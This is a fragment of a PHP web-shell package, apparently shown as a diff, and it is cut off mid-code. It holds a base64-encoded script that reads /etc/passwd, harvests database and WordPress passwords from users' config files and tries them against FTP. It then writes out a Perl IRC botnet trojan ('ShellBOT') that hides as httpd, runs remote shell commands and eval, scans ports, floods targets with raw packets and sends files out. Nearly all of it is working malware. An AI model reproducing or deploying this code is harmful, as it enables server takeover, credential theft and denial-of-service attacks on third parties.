QT4gICBdLS0tbzwvU1RST05HPjwvcD48L1REPg0KICAgICAgPC9UUj4NCiAgICA8L1RCT0RZPg0KICA8L1RBQkxFPg0KPC9ESVY+DQo8L2NlbnRlcj4gDQogPC9ib2R5Pg0KPC9odG1sPg="; + +$egy_cp="PD9waHAgDQplY2hvICI8aHRtbD4iOyANCmVjaG8gIjx0aXRsZT5FZ1lfU3BJZEVyIFNoRWxMIDwvdGl0bGU+PFNUWUxFPg0KDQpCT0RZDQogew0KICAgICAgICBTQ1JPTExCQVItRkFDRS1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLUhJR0hMSUdIVC1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLVNIQURPVy1DT0xPUjogIzAwMDAwMDsgQ09MT1I6ICM2NjY2NjY7IFNDUk9MTEJBUi0zRExJR0hULUNPTE9SOiAjNzI2NDU2OyBTQ1JPTExCQVItQVJST1ctQ09MT1I6ICM3MjY0NTY7IFNDUk9MTEJBUi1UUkFDSy1DT0xPUjogIzI5MjkyOTsgRk9OVC1GQU1JTFk6IFZlcmRhbmE7IFNDUk9MTEJBUi1EQVJLU0hBRE9XLUNPTE9SOiAjNzI2NDU2DQp9DQoNCi50ZDEgew0KQk9SREVSOiAxOw0KZm9udDogN3B0IHRhaG9tYTsNCmNvbG9yOiAjZmZmZmZmOw0KfQ0KDQoudHIxIHsNCkJPUkRFUjogMTsNCmNvbG9yOiAjMzMzMzMzOw0KfQ0KdGFibGUgew0KQk9SREVSOiAgI2VlZWVlZSAgb3V0c2V0Ow0KQkFDS0dST1VORC1DT0xPUjogIzAwMDAwMDsNCmNvbG9yOiAjMzMzMzMzOw0KfQ0KdGV4dGFyZWEgew0KQk9SREVSLVJJR0hUOiAgI2ZmZmZmZiAxIHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzk5OTk5OSAxIHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzk5OTk5OSAxIHNvbGlkOw0KQk9SREVSLUJPVFRPTTogI2ZmZmZmZiAxIHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogIzMzMzMzMzsNCmZvbnQ6IEZpeGVkc3lzIGJvbGQ7DQpjb2xvcjogI2ZmZmZmZjsNCn0NCkJPRFkgew0KbWFyZ2luOiAxOw0KY29sb3I6ICMzMzMzMzM7DQpiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOw0KfQ0KQTpsaW5rIHtDT0xPUjpyZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZX0NCkE6dmlzaXRlZCB7IENPTE9SOnJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lfQ0KQTphY3RpdmUge0NPTE9SOnJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lfQ0KQTpob3ZlciB7Y29sb3I6Ymx1ZTtURVhULURFQ09SQVRJT046IG5vbmV9DQoNCjwvU1RZTEU+PGJvZHk+IjsgDQoNCnNldF90aW1lX2xpbWl0KDApOyANCiMjIyMjIyMjIyMjIyMjIyMjIyANCkAkcGFzc3dkPWZvcGVuKCcvZXRjL3Bhc3N3ZCcsJ3InKTsgDQppZiAoISRwYXNzd2QpIHsgDQogIGVjaG8gIlstXSBFcnJvciA6IGNvdWRuJ3QgcmVhZCAvZXRjL3Bhc3N3ZCI7IA0KICBleGl0OyANCn0gDQokcGF0aF90b19wdWJsaWM9YXJyYXkoKTsgDQokdXNlcnM9YXJyYXkoKTsgDQokcGF0aHRvY29uZj1hcnJheSgpOyANCiRpPTA7IA0KDQp3aGlsZSghZmVvZigkcGFzc3dkKSkgeyANCiRzdHI9ZmdldHMoJHBhc3N3ZCk7IA0KaWYgKCRpPjM1KSB7IA0KICAgJHBvcz1zdHJwb3MoJHN0ciwiOiIpOyANCiAgICR1c2VybmFtZT1zdWJzdHIoJHN0ciwwLCRwb3MpOyANCiAgICRkaXJ6PSIvaG9tZS8kdXNlcm5hbWUvcHVibGljX2h0bWwvIjsgDQogICBpZiAoKCR1c2VybmFtZSE9IiIpKSB7IA0KICAgICAgIGlmIChpc19yZWFkYWJsZSgkZGlyeikpIHsgDQogICAgICAgICAgIGFycmF5X3B1c2goJHVzZXJzLCR1c2VybmFtZSk7IA0KICAgICAgICAgICBhcnJheV9wdXNoKCRwYXRoX3RvX3B1YmxpYywkZGlyeik7IA0KICAgICAgIH0gDQogICB9IA0KfSANCiRpKys7IA0KfSANCiMjIyMjIyMjIyMjIyMjIyMjIyMgDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgDQplY2hvICI8YnI+PGJyPiI7IA0KZWNobyAiPHRleHRhcmVhIG5hbWU9J21haW5fd2luZG93JyBjb2xzPTEwMCByb3dzPTIwPiI7IA0KDQplY2hvICJbK10gRm91bmRlZCAiLnNpemVvZigkdXNlcnMpLiIgZW50cnlzIGluIC9ldGMvcGFzc3dkXG4iOyANCmVjaG8gIlsrXSBGb3VuZGVkICIuc2l6ZW9mKCRwYXRoX3RvX3B1YmxpYykuIiByZWFkYWJsZSBwdWJsaWNfaHRtbCBkaXJlY3Rvcmllc1xuIjsgDQoNCmVjaG8gIlt+XSBTZWFyY2hpbmcgZm9yIHBhc3N3b3JkcyBpbiBjb25maWcuKiBmaWxlcy4uLlxuXG4iOyANCmZvcmVhY2ggKCR1c2VycyBhcyAkdXNlcikgeyANCiAgICAgICAkcGF0aD0iL2hvbWUvJHVzZXIvcHVibGljX2h0bWwvIjsgDQogICAgICAgcmVhZF9kaXIoJHBhdGgsJHVzZXIpOyANCn0gDQoNCmVjaG8gIlxuWytdIERvbmVcbiI7IA0KDQpmdW5jdGlvbiByZWFkX2RpcigkcGF0aCwkdXNlcm5hbWUpIHsgDQogICBpZiAoJGhhbmRsZSA9IG9wZW5kaXIoJHBhdGgpKSB7IA0KICAgICAgIHdoaWxlIChmYWxzZSAhPT0gKCRmaWxlID0gcmVhZGRpcigkaGFuZGxlKSkpIHsgDQogICAgICAgICAgICAgJGZwYXRoPSIkcGF0aCRmaWxlIjsgDQogICAgICAgICAgICAgaWYgKCgkZmlsZSE9Jy4nKSBhbmQgKCRmaWxlIT0nLi4nKSkgeyANCiAgICAgICAgICAgICAgICBpZiAoaXNfcmVhZGFibGUoJGZwYXRoKSkgeyANCiAgICAgICAgICAgICAgICAgICAkZHI9IiRmcGF0aC8iOyANCiAgICAgICAgICAgICAgICAgICBpZiAoaXNfZGlyKCRkcikpIHsgDQogICAgICAgICAgICAgICAgICAgICAgcmVhZF9kaXIoJGRyLCR1c2VybmFtZSk7IA0KICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgZWxzZSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCgkZmlsZT09J2NvbmZpZy5waHAnKSBvciAoJGZpbGU9PSdjb25maWcuaW5jLnBocCcpIG9yICgkZmlsZT09J2RiLmluYy5waHAnKSBvciAoJGZpbGU9PSdjb25uZWN0LnBocCcpIG9yICgkZmlsZT09J3dwLWNvbmZpZy5waHAnKSBvciAoJGZpbGU9PSd2YXIucGhwJykgb3IgKCRmaWxlPT0nY29uZmlndXJlLnBocCcpIG9yICgkZmlsZT09J2RiLnBocCcpIG9yICgkZmlsZT09J2RiX2Nvbm5lY3QucGhwJykpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFzcz1nZXRfcGFzcygkZnBhdGgpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkcGFzcyE9JycpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJbK10gJGZwYXRoXG4kcGFzc1xuIjsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdHBfY2hlY2soJHVzZXJuYW1lLCRwYXNzKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgfSANCiAgICAgICB9IA0KICAgfSANCn0gDQoNCmZ1bmN0aW9uIGdldF9wYXNzKCRsaW5rKSB7IA0KICAgQCRjb25maWc9Zm9wZW4oJGxpbmssJ3InKTsgDQogICB3aGlsZSghZmVvZigkY29uZmlnKSkgeyANCiAgICAgICAkbGluZT1mZ2V0cygkY29uZmlnKTsgDQogICAgICAgaWYgKHN0cnN0cigkbGluZSwncGFzcycpIG9yIHN0cnN0cigkbGluZSwncGFzc3dvcmQnKSBvciBzdHJzdHIoJGxpbmUsJ3Bhc3N3ZCcpKSB7IA0KICAgICAgICAgICBpZiAoc3RycnBvcygkbGluZSwnIicpKSANCiAgICAgICAgICAgICAgJHBhc3M9c3Vic3RyKCRsaW5lLChzdHJwb3MoJGxpbmUsJz0nKSszKSwoc3RycnBvcygkbGluZSwnIicpLShzdHJwb3MoJGxpbmUsJz0nKSszKSkpOyANCiAgICAgICAgICAgZWxzZSANCiAgICAgICAgICAgICAgJHBhc3M9c3Vic3RyKCRsaW5lLChzdHJwb3MoJGxpbmUsJz0nKSszKSwoc3RycnBvcygkbGluZSwiJyIpLShzdHJwb3MoJGxpbmUsJz0nKSszKSkpOyANCiAgICAgICAgICAgcmV0dXJuICRwYXNzOyANCiAgICAgICB9IA0KICAgfSANCn0gDQoNCmZ1bmN0aW9uIGZ0cF9jaGVjaygkbG9naW4sJHBhc3MpIHsgDQogICAgQCRmdHA9ZnRwX2Nvbm5lY3QoJzEyNy4wLjAuMScpOyANCiAgICBpZiAoJGZ0cCkgeyANCiAgICAgICBAJHJlcz1mdHBfbG9naW4oJGZ0cCwkbG9naW4sJHBhc3MpOyANCiAgICAgICBpZiAoJHJlcykgeyANCiAgICAgICAgICBlY2hvICdbRlRQXSAnLiRsb2dpbi4nOicuJHBhc3MuIiAgU3VjY2Vzc1xuIjsgDQogICAgICAgfSANCiAgICAgICBlbHNlIGZ0cF9xdWl0KCRmdHApOyANCiAgICB9IA0KfSANCg0KZWNobyAiPC90ZXh0YXJlYT48YnI+IjsgDQoNCmVjaG8gIjwvYm9keT48L2h0bWw+IjsgDQo/Pg="; + + +if(!empty($_POST['ircadmin']) AND !empty($_POST['ircserver']) AND !empty($_POST['ircchanal']) AND !empty($_POST['ircname'])) +{ +$ircadmin=$_POST['ircadmin']; +$ircserver=$_POST['ircserver']; +$ircchan=$_POST['ircchanal']; +$irclabel=$_POST['ircname']; +echo "<title>OverclockiX Shell-Connector || Connecting to $ircserver<title>"; +echo "<body bgcolor=\"black\" text=\"green\">"; +echo "Now Connecting to <b><font color=\"red\">$ircserver</font></b> in <b><font color=\"yellow\">$ircchan</font></b> Andministrators: <b><font color=\"yellow\">$ircadmin</font></b> Botname is <b><font color=\"yellow\">$irclabel</font></b>"; +echo "<p>Dont Forget to Delete Loader.pl in /tmp</p>"; +####################################################### +######################IRC Trojan########################## +$file=" +################ CONFIGURACAO ################################################################# +my \$processo = '/usr/local/apache/bin/httpd -DSSL'; # Nome do processo que vai aparece no ps # +#----------------------------------------------################################################ +my \$linas_max='48'; # Evita o flood :) depois de X linhas # +#----------------------------------------------################################################ +my \$sleep='4'; # ele dorme X segundos # +##################### IRC ##################################################################### +my @adms=(\"$ircadmin\"); # Nick do administrador # +#----------------------------------------------################################################ +my @canais=(\"$ircchan\"); # Caso haja senha (\"#canal :senha\") # +#----------------------------------------------################################################ +my \$nick='$irclabel'; # Nick do bot. Caso esteja em uso vai aparecer # + # aparecer com numero radonamico no final # +#----------------------------------------------################################################ +my \$ircname = 'Linux'; # User ID # +#----------------------------------------------################################################ +chop (my \$realname = `uname -a`); # Full Name # +#----------------------------------------------################################################ +\$servidor='$ircserver' unless \$servidor; # Servidor de irc que vai ser usado # + # caso n?o seja especificado no argumento # +#----------------------------------------------################################################ +my \$porta='6667'; # Porta do servidor de irc # +################ ACESSO A SHELL ############################################################### +my \$secv = 1; # 1/0 pra habilita/desabilita acesso a shell # +############################################################################################### +my \$VERSAO = '0.2'; +\$SIG{'INT'} = 'IGNORE'; +\$SIG{'HUP'} = 'IGNORE'; +\$SIG{'TERM'} = 'IGNORE'; +\$SIG{'CHLD'} = 'IGNORE'; +\$SIG{'PS'} = 'IGNORE'; +\$SIG{'STOP'} = 'IGNORE'; +use IO::Socket; +use Socket; +use IO::Select; +chdir(\"/\"); +\$servidor=\"\$ARGV[0]\" if \$ARGV[0]; +$0=\"\$processo\".\"\0\"x16;; +my \$pid=fork; +exit if \$pid; +die \"Problema com o fork: $!\" unless defined(\$pid); +my \$dcc_sel = new IO::Select->new(); +############################# +# B0tchZ na veia ehehe :P # +############################# + +\$sel_cliente = IO::Select->new(); +sub sendraw { + if ($#_ == '1') { + my \$socket = \$_[0]; + print \$socket \"\$_[1]\\n\"; + } else { + print \$IRC_cur_socket \"\$_[0]\\n\"; + } +} +################################# +sub conectar { + my \$meunick = \$_[0]; + my \$servidor_con = \$_[1]; + my \$porta_con = \$_[2]; + + my \$IRC_socket = IO::Socket::INET->new(Proto=>\"tcp\", PeerAddr=>\"\$servidor_con\", PeerPort=>\$porta_con) or return(1); + if (defined(\$IRC_socket)) { + \$IRC_cur_socket = \$IRC_socket; + + \$IRC_socket->autoflush(1); + \$sel_cliente->add(\$IRC_socket); + + \$irc_servers{\$IRC_cur_socket}{'host'} = \"\$servidor_con\"; + \$irc_servers{\$IRC_cur_socket}{'porta'} = \"\$porta_con\"; + \$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick; + \$irc_servers{\$IRC_cur_socket}{'meuip'} = \$IRC_socket->sockhost; + nick(\"\$meunick\"); + sendraw(\"USER \$ircname \".\$IRC_socket->sockhost.\" \$servidor_con :\$realname\"); + sleep 1; + } +} ##################### + +my \$line_temp; +while( 1 ) { + while (!(keys(%irc_servers))) { conectar(\"\$nick\", \"\$servidor\", \"\$porta\"); } + delete(\$irc_servers{''}) if (defined(\$irc_servers{''})); + &DCC::connections; + my @ready = \$sel_cliente->can_read(0); + next unless(@ready); + foreach \$fh (@ready) { + \$IRC_cur_socket = \$fh; + \$meunick = \$irc_servers{\$IRC_cur_socket}{'nick'}; + \$nread = sysread(\$fh, \$msg, 4096); + if (\$nread == 0) { + \$sel_cliente->remove(\$fh); + \$fh->close; + delete(\$irc_servers{\$fh}); + } + @lines = split (/\\n/, \$msg); + + for(my \$c=0; \$c<= $#lines; \$c++) { + \$line = \$lines[\$c]; + \$line=\$line_temp.\$line if (\$line_temp); + \$line_temp=''; + \$line =~ s/\\r$//; + unless (\$c == $#lines) { + parse(\"\$line\"); + } else { + if ($#lines == 0) { + parse(\"\$line\"); + } elsif (\$lines[\$c] =~ /\\r$/) { + parse(\"\$line\"); + } elsif (\$line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { + parse(\"\$line\"); + } else { + \$line_temp = \$line; + } + } + } + } +} + +######################### + + +sub parse { + my \$servarg = shift; + if (\$servarg =~ /^PING \:(.*)/) { + sendraw(\"PONG :$1\"); + } elsif (\$servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { + my \$pn=$1; my \$onde = $4; my \$args = $5; + if (\$args =~ /^\\001VERSION\\001$/) { + notice(\"\$pn\", \"\\001VERSION ShellBOT-\$VERSAO por 0ldW0lf\\001\"); + } + if (grep {\$_ =~ /^\Q\$pn\E$/i } @adms) { + if (\$onde eq \"\$meunick\"){ + shell(\"\$pn\", \"\$args\"); + } + if (\$args =~ /^(\Q\$meunick\E|\!atrix)\s+(.*)/ ) { + my \$natrix = $1; + my \$arg = $2; + if (\$arg =~ /^\!(.*)/) { + ircase(\"\$pn\",\"\$onde\",\"\$1\") unless (\$natrix eq \"!atrix\" and \$arg =~ /^\!nick/); + } elsif (\$arg =~ /^\@(.*)/) { + \$ondep = \$onde; + \$ondep = \$pn if \$onde eq \$meunick; + bfunc(\"\$ondep\",\"$1\"); + } else { + shell(\"\$onde\", \"\$arg\"); + } + } + } + } elsif (\$servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) { + if (lc($1) eq lc(\$meunick)) { + \$meunick=$4; + \$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick; + } + } elsif (\$servarg =~ m/^\:(.+?)\s+433/i) { + nick(\"\$meunick\".int rand(9999)); + } elsif (\$servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) { + \$meunick = $2; + \$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick; + \$irc_servers{\$IRC_cur_socket}{'nome'} = \"$1\"; + foreach my \$canal (@canais) { + sendraw(\"JOIN \$canal\"); + } + } +} +########################## + +sub bfunc { + my \$printl = \$_[0]; + my \$funcarg = \$_[1]; + if (my \$pid = fork) { + waitpid(\$pid, 0); + } else { + if (fork) { + exit; + } else { + if (\$funcarg =~ /^portscan (.*)/) { + my \$hostip=\"$1\"; + my @portas=(\"21\",\"22\",\"23\",\"25\",\"53\",\"80\",\"110\",\"143\"); + my (@aberta, %porta_banner); + foreach my \$porta (@portas) { + my \$scansock = IO::Socket::INET->new(PeerAddr => \$hostip, PeerPort => \$porta, Proto => 'tcp', Timeout => 4); + if (\$scansock) { + push (@aberta, \$porta); + \$scansock->close; + } + } + + if (@aberta) { + sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :portas abertas: @aberta\"); + } else { + sendraw(\$IRC_cur_socket,\"PRIVMSG \$printl :Nenhuma porta aberta foi encontrada\"); + } + } + if (\$funcarg =~ /^pacota\s+(.*)\s+(\d+)\s+(\d+)/) { + my (\$dtime, %pacotes) = attacker(\"$1\", \"$2\", \"$3\"); + \$dtime = 1 if \$dtime == 0; + my %bytes; + \$bytes{igmp} = $2 * \$pacotes{igmp}; + \$bytes{icmp} = $2 * \$pacotes{icmp}; + \$bytes{o} = $2 * \$pacotes{o}; + \$bytes{udp} = $2 * \$pacotes{udp}; + \$bytes{tcp} = $2 * \$pacotes{tcp}; + + sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002 - Status GERAL -\\002\"); + sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Tempo\\002: \$dtime\".\"s\"); + sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Total pacotes\\002: \".(\$pacotes{udp} + \$pacotes{igmp} + \$pacotes{icmp} + \$pacotes{o})); + sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Total bytes\\002: \".(\$bytes{icmp} + \$bytes {igmp} + \$bytes{udp} + \$bytes{o})); + sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Media de envio\\002: \".int(((\$bytes{icmp}+\$bytes{igmp}+\$bytes{udp} + \$bytes{o})/1024)/\$dtime).\" kbps\"); + + } + exit; + } + } +} +########################## + + +sub ircase { + my (\$kem, \$printl, \$case) = @_; + + + if (\$case =~ /^join (.*)/) { + j(\"$1\"); + } + if (\$case =~ /^part (.*)/) { + p(\"$1\"); + } + if (\$case =~ /^rejoin\s+(.*)/) { + my \$chan = $1; + if (\$chan =~ /^(\d+) (.*)/) { + for (my \$ca = 1; \$ca <= $1; \$ca++ ) { + p(\"$2\"); + j(\"$2\"); + } + } else { + p(\"\$chan\"); + j(\"\$chan\"); + } + } + if (\$case =~ /^op/) { + op(\"\$printl\", \"\$kem\") if \$case eq \"op\"; + my \$oarg = substr(\$case, 3); + op(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/); + } + if (\$case =~ /^deop/) { + deop(\"\$printl\", \"\$kem\") if \$case eq \"deop\"; + my \$oarg = substr(\$case, 5); + deop(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/); + } + if (\$case =~ /^voice/) { + voice(\"\$printl\", \"\$kem\") if \$case eq \"voice\"; + \$oarg = substr(\$case, 6); + voice(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/); + } + if (\$case =~ /^devoice/) { + devoice(\"\$printl\", \"\$kem\") if \$case eq \"devoice\"; + \$oarg = substr(\$case, 8); + devoice(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/); + } + if (\$case =~ /^msg\s+(\S+) (.*)/) { + msg(\"$1\", \"$2\"); + } + if (\$case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) { + for (my \$cf = 1; \$cf <= $1; \$cf++) { + msg(\"$2\", \"$3\"); + } + } + if (\$case =~ /^ctcp\s+(\S+) (.*)/) { + ctcp(\"$1\", \"$2\"); + } + if (\$case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) { + for (my \$cf = 1; \$cf <= $1; \$cf++) { + ctcp(\"$2\", \"$3\"); + } + } + if (\$case =~ /^invite\s+(\S+) (.*)/) { + invite(\"$1\", \"$2\"); + } + if (\$case =~ /^nick (.*)/) { + nick(\"$1\"); + } + if (\$case =~ /^conecta\s+(\S+)\s+(\S+)/) { + conectar(\"$2\", \"$1\", 6667); + } + if (\$case =~ /^send\s+(\S+)\s+(\S+)/) { + DCC::SEND(\"$1\", \"$2\"); + } + if (\$case =~ /^raw (.*)/) { + sendraw(\"$1\"); + } + if (\$case =~ /^eval (.*)/) { + eval \"$1\"; + } +} +########################## + +sub shell { + return unless \$secv; + my \$printl=\$_[0]; + my \$comando=\$_[1]; + if (\$comando =~ /cd (.*)/) { + chdir(\"$1\") || msg(\"\$printl\", \"Dossier Makayench :D \"); + return; + } + elsif (\$pid = fork) { + waitpid(\$pid, 0); + } else { + if (fork) { + exit; + } else { + my @resp=`\$comando 2>&1 3>&1`; + my \$c=0; + foreach my \$linha (@resp) { + \$c++; + chop \$linha; + sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\$linha\"); + if (\$c == \"\$linas_max\") { + \$c=0; + sleep \$sleep; + } + } + exit; + } + } +} + +#eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki +sub attacker { + my \$iaddr = inet_aton(\$_[0]); + my \$msg = 'B' x \$_[1]; + my \$ftime = \$_[2]; + my \$cp = 0; + my (%pacotes); + \$pacotes{icmp} = \$pacotes{igmp} = \$pacotes{udp} = \$pacotes{o} = \$pacotes{tcp} = 0; + + socket(SOCK1, PF_INET, SOCK_RAW, 2) or \$cp++; + socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or \$cp++; + socket(SOCK3, PF_INET, SOCK_RAW, 1) or \$cp++; + socket(SOCK4, PF_INET, SOCK_RAW, 6) or \$cp++; + return(undef) if \$cp == 4; + my \$itime = time; + my (\$cur_time); + while ( 1 ) { + for (my \$porta = 1; \$porta <= 65535; \$porta++) { + \$cur_time = time - \$itime; + last if \$cur_time >= \$ftime; + send(SOCK1, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{igmp}++; + send(SOCK2, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{udp}++; + send(SOCK3, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{icmp}++; + send(SOCK4, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{tcp}++; + + # DoS ?? :P + for (my \$pc = 3; \$pc <= 255;\$pc++) { + next if \$pc == 6; + \$cur_time = time - \$itime; + last if \$cur_time >= \$ftime; + socket(SOCK5, PF_INET, SOCK_RAW, \$pc) or next; + send(SOCK5, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{o}++;; + } + } + last if \$cur_time >= \$ftime; + } + return(\$cur_time, %pacotes); +} + +############# +# ALIASES # +############# + +sub action { + return unless $#_ == 1; + sendraw(\"PRIVMSG \$_[0] :\\001ACTION \$_[1]\\001\"); +} + +sub ctcp { + return unless $#_ == 1; + sendraw(\"PRIVMSG \$_[0] :\\001\$_[1]\\001\"); +} +sub msg { + return unless $#_ == 1; + sendraw(\"PRIVMSG \$_[0] :\$_[1]\"); +} + +sub notice { + return unless $#_ == 1; + sendraw(\"NOTICE \$_[0] :\$_[1]\"); +} + +sub op { + return unless $#_ == 1; + sendraw(\"MODE \$_[0] +o \$_[1]\"); +} +sub deop { + return unless $#_ == 1; + sendraw(\"MODE \$_[0] -o \$_[1]\"); +} +sub hop { + return unless $#_ == 1; + sendraw(\"MODE \$_[0] +h \$_[1]\"); +} +sub dehop { + return unless $#_ == 1; + sendraw(\"MODE \$_[0] +h \$_[1]\"); +} +sub voice { + return unless $#_ == 1; + sendraw(\"MODE \$_[0] +v \$_[1]\"); +} +sub devoice { + return unless $#_ == 1; + sendraw(\"MODE \$_[0] -v \$_[1]\"); +} +sub ban { + return unless $#_ == 1; + sendraw(\"MODE \$_[0] +b \$_[1]\"); +} +sub unban { + return unless $#_ == 1; + sendraw(\"MODE \$_[0] -b \$_[1]\"); +} +sub kick { + return unless $#_ == 1; + sendraw(\"KICK \$_[0] \$_[1] :\$_[2]\"); +} + +sub modo { + return unless $#_ == 0; + sendraw(\"MODE \$_[0] \$_[1]\"); +} +sub mode { modo(@_); } + +sub j { &join(@_); } +sub join { + return unless $#_ == 0; + sendraw(\"JOIN \$_[0]\"); +} +sub p { part(@_); } +sub part {sendraw(\"PART \$_[0]\");} + +sub nick { + return unless $#_ == 0; + sendraw(\"NICK \$_[0]\"); +} + +sub invite { + return unless $#_ == 1; + sendraw(\"INVITE \$_[1] \$_[0]\"); +} +sub topico { + return unless $#_ == 1; + sendraw(\"TOPIC \$_[0] \$_[1]\"); +} +sub topic { topico(@_); } + +sub whois { + return unless $#_ == 0; + sendraw(\"WHOIS \$_[0]\"); +} +sub who { + return unless $#_ == 0; + sendraw(\"WHO \$_[0]\"); +} +sub names { + return unless $#_ == 0; + sendraw(\"NAMES \$_[0]\"); +} +sub away { + sendraw(\"AWAY \$_[0]\"); +} +sub back { away(); } +sub quit { + sendraw(\"QUIT :\$_[0]\"); +} + +# DCC +######################### + +package DCC; + +sub connections { + my @ready = \$dcc_sel->can_read(1); +# return unless (@ready); + foreach my \$fh (@ready) { + my \$dcctipo = \$DCC{\$fh}{tipo}; + my \$arquivo = \$DCC{\$fh}{arquivo}; + my \$bytes = \$DCC{\$fh}{bytes}; + my \$cur_byte = \$DCC{\$fh}{curbyte}; + my \$nick = \$DCC{\$fh}{nick}; + + + my \$msg; + my \$nread = sysread(\$fh, \$msg, 10240); + + if (\$nread == 0 and \$dcctipo =~ /^(get|sendcon)$/) { + \$DCC{\$fh}{status} = \"Cancelado\"; + \$DCC{\$fh}{ftime} = time; + \$dcc_sel->remove(\$fh); + \$fh->close; + next; + } + + if (\$dcctipo eq \"get\") { + \$DCC{\$fh}{curbyte} += length(\$msg); + + my \$cur_byte = \$DCC{\$fh}{curbyte}; + + open(FILE, \">> \$arquivo\"); + print FILE \"\$msg\" if (\$cur_byte <= \$bytes); + close(FILE); + + my \$packbyte = pack(\"N\", \$cur_byte); + print \$fh \"\$packbyte\"; + + + if (\$bytes == \$cur_byte) { + \$dcc_sel->remove(\$fh); + \$fh->close; + \$DCC{\$fh}{status} = \"Recebido\"; + \$DCC{\$fh}{ftime} = time; + next; + } + } elsif (\$dcctipo eq \"send\") { + my \$send = \$fh->accept; + \$send->autoflush(1); + \$dcc_sel->add(\$send); + \$dcc_sel->remove(\$fh); + \$DCC{\$send}{tipo} = 'sendcon'; + \$DCC{\$send}{itime} = time; + \$DCC{\$send}{nick} = \$nick; + \$DCC{\$send}{bytes} = \$bytes; + \$DCC{\$send}{curbyte} = 0; + \$DCC{\$send}{arquivo} = \$arquivo; + \$DCC{\$send}{ip} = \$send->peerhost; + \$DCC{\$send}{porta} = \$send->peerport; + \$DCC{\$send}{status} = \"Enviando\"; + #de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon + open(FILE, \"< \$arquivo\"); + my \$fbytes; + read(FILE, \$fbytes, 1024); + print \$send \"\$fbytes\"; + close FILE; +# delete(\$DCC{\$fh}); +} elsif (\$dcctipo eq 'sendcon') { + my \$bytes_sended = unpack(\"N\", \$msg); + \$DCC{\$fh}{curbyte} = \$bytes_sended; + if (\$bytes_sended == \$bytes) { + \$fh->close; + \$dcc_sel->remove(\$fh); + \$DCC{\$fh}{status} = \"Enviado\"; + \$DCC{\$fh}{ftime} = time; + next; + } + open(SENDFILE, \"< \$arquivo\"); + seek(SENDFILE, \$bytes_sended, 0); + my \$send_bytes; + read(SENDFILE, \$send_bytes, 1024); + print \$fh \"\$send_bytes\"; + close(SENDFILE); + } + } +} +########################## + +sub SEND { + my (\$nick, \$arquivo) = @_; + unless (-r \"\$arquivo\") { + return(0); + } + + my \$dccark = \$arquivo; + \$dccark =~ s/[.*\/](\S+)/$1/; + + my \$meuip = $::irc_servers{\"$::IRC_cur_socket\"}{'meuip'}; + my \$longip = unpack(\"N\",inet_aton(\$meuip)); + + my @filestat = stat(\$arquivo); + my \$size_total=\$filestat[7]; + if (\$size_total == 0) { + return(0); + } + + my (\$porta, \$sendsock); + do { + \$porta = int rand(64511); + \$porta += 1024; + \$sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>\$porta, Proto => 'tcp') and \$dcc_sel->add(\$sendsock); + } until \$sendsock; + + \$DCC{\$sendsock}{tipo} = 'send'; + \$DCC{\$sendsock}{nick} = \$nick; + \$DCC{\$sendsock}{bytes} = \$size_total; + \$DCC{\$sendsock}{arquivo} = \$arquivo; + + &::ctcp(\"\$nick\", \"DCC SEND \$dccark \$longip \$porta \$size_total\"); + +} + +sub GET { + my (\$arquivo, \$dcclongip, \$dccporta, \$bytes, \$nick) = @_; + return(0) if (-e \"\$arquivo\"); + if (open(FILE, \"> \$arquivo\")) { + close FILE; + } else { + return(0); + } + + my \$dccip=fixaddr(\$dcclongip); + return(0) if (\$dccporta < 1024 or not defined \$dccip or \$bytes < 1); + my \$dccsock = IO::Socket::INET->new(Proto=>\"tcp\", PeerAddr=>\$dccip, PeerPort=>\$dccporta, 